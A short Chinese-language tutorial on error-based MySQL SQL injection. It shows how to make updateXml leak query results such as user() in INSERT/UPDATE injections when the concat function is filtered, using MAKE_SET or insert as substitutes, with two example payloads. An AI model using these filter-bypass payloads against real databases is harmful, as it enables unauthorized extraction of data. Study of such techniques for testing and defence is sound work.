concat被过滤时使用updateXml 报错的技巧

一般我们遇到insert,update类型的注入会用如下语句报错updateXml(1,concat(0x5c,user()),1),详见其他文档

如果concat被过滤了呢?

用updateXml或者extractvalue时,用 concat的原因如下: 如果updateXml里的字符串前面没有~ : \ <这些符号的话 会导致报错的内容不全,前面几个字符会被吃掉,所以要用 concat把他们连接起来。<一般特殊符号或者数字也可以>



知道问题所在的原因后就很简单了,找几个可以代替concat的函数,例如:

  1. insert
  2. MAKE_set
Examples:

      
  1. mysql > update user SET password = 'x' where 1 = updateXml ( 1 , MAKE_SET ( 1 | 2 , 0x3c , user ()), 1 );
  2. mysql > update user SET password = 'x' where 1 = updateXml ( 1 , insert (( user ()), 1 , 0 , 0x5c ), 1 );